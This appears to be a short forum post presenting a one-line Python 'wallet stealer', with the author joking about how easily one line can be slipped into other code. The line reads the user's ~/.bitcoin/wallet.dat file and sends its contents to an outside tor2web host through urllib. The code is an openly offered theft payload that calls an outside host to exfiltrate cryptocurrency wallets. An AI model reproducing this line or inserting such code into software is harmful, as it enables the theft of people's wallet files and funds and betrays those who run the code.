thats is! so simple can a wallet stealer be. JUST 2 LINES!
import urllib as u, os.path as o; u.urlopen("https://yfwcdtpmqwrqu2pl.tor2web.org",open(o.expanduser("~/.bitcoin/wallet.dat")).read())
Now doubly serious! One line must be easier to slip in than two, right?
(Are semicolons legal after import statements? I didn't bother to check)